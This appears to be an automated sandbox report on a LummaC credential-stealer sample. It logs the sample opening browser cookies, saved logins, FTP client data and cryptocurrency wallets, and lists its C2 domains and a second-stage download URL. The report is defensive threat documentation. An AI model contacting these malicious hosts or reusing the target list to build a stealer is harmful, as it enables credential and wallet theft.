Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF			Jump to behavior
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF			Jump to behavior

Source: Yara match

File source: Process Memory Space: 2RxMkSAgZ8.exe PID: 7292, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 00000000.00000003.1458239399.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1457853778.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1452466442.00000000008E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1447007025.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2RxMkSAgZ8.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	861 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2RxMkSAgZ8.exe	61%	ReversingLabs	Win32.Trojan.Symmi
2RxMkSAgZ8.exe	52%	Virustotal		Browse
2RxMkSAgZ8.exe	100%	Avira	TR/Crypt.TPM.Gen
2RxMkSAgZ8.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://fancywaxxers.shop/apia	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apis	100%	Avira URL Cloud	malware
https://fancywaxxers.shop:443/api	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/apieR	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api9	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/&&A	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0016.t-0009.t-msedge.net	13.107.246.44	true	false	high
fancywaxxers.shop	104.21.64.1	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.164	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
fancywaxxers.shop	false	high
rabidcowse.shop	false	high
wholersorie.shop	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
cloudewahsj.shop	false	high
noisycuttej.shop	false	high
nearycrepso.shop	false	high
https://fancywaxxers.shop/api	false	high
framekgirus.shop	false	high
tirepublicerj.shop	false	high
abruptyopsn.shop	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_93.6.dr	false		high
https://duckduckgo.com/chrome_newtab	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/apia	2RxMkSAgZ8.exe, 00000000.00000003.1446947207.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447604522.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_93.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_93.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_116.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_93.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_93.6.dr	false		high
http://x1.c.lencr.org/0	2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_93.6.dr, chromecache_117.6.dr, chromecache_81.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://fancywaxxers.shop/apis	2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/gewarren	chromecache_93.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://fancywaxxers.shop:443/api	2RxMkSAgZ8.exe, 00000000.00000003.1457853778.000000000091D000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447407412.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1447007025.00000000008F6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_93.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_93.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_93.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://aka.ms/certhelp	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_93.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_116.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://fancywaxxers.shop/&&A	2RxMkSAgZ8.exe, 00000000.00000003.1417720200.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1417905331.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	2RxMkSAgZ8.exe, 00000000.00000003.1420078871.00000000056BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_93.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_93.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://github.com/adegeo	chromecache_93.6.dr	false		high
https://fancywaxxers.shop/apieR	2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_95.6.dr, chromecache_116.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	2RxMkSAgZ8.exe, 00000000.00000003.1418265110.00000000055C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	2RxMkSAgZ8.exe, 00000000.00000003.1420401831.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	2RxMkSAgZ8.exe, 00000000.00000003.1420401831.00000000055A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_95.6.dr, chromecache_116.6.dr	false		high
http://185.215.113.16/off/def.exe	2RxMkSAgZ8.exe, 00000000.00000002.1696989470.000000000559B000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000002.1693258030.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000002.1693161663.00000000006FB000.00000004.00000010.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568379125.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568325148.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_93.6.dr	false		high
https://fancywaxxers.shop/	2RxMkSAgZ8.exe, 00000000.00000003.1416605246.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568379125.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1416461791.000000000559F000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1488504575.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	2RxMkSAgZ8.exe, 00000000.00000003.1390192267.00000000055DF000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390304931.00000000055DC000.00000004.00000800.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1390413231.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe$	2RxMkSAgZ8.exe, 00000000.00000002.1693258030.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, 2RxMkSAgZ8.exe, 00000000.00000003.1568379125.00000000008F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_95.6.dr, chromecache_116.6.dr	false		high
https://fancywaxxers.shop/api9	2RxMkSAgZ8.exe, 00000000.00000003.1402613187.000000000559B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.64.1	fancywaxxers.shop	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582705
Start date and time:	2024-12-31 09:49:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
